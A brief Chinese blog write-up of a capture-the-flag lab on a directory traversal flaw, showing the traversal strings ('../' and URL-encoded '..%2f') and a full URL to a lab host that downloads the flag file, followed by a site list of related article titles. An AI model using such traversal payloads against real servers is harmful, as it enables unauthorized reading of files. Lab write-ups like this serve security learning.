1.阅读靶场介绍
这里博主捕获到的关键字眼是
目录遍历漏洞
2.启动靶场
如下图所示
3.poc
这里就是构造目录遍历路径
../../../../../../../或者..%2f..%2f..%2f..%2f..%2f
这里博主构造完下面的路径弹出一个文件下载
http://39.106.48.123:39628/..%2f..%2f..%2f..%2f..%2fflag
各位可以参考参考
相关推荐
泯泷2 天前
第 2 篇：设计第一套字节码：Opcode、Instruction 与 Constant Pool泯泷2 天前
第 1 篇：从 1 + 2 开始：亲手写出第一台 JSVMFlynt6 天前
npm v12 来了：allowScripts 默认关闭，我的项目差点跑不起来冬奇Lab11 天前
Skill 系列（02）：Skill 安全风险——三类攻击面的实战测试Aphasia31114 天前
VPN 与内网穿透Mr_愚人派15 天前
当"Claude"不再是 Claude：一次第三方 API 代理引发的 AI 身份伪造排查实录DaLi Yao16 天前
【无标题】Alsn8616 天前
等待学习-学习目录：Docker 容器安全攻防网络研究院16 天前
2026年网络安全treesforest16 天前
AI安全系统如何识别异常访问？IP风险识别正在成为关键能力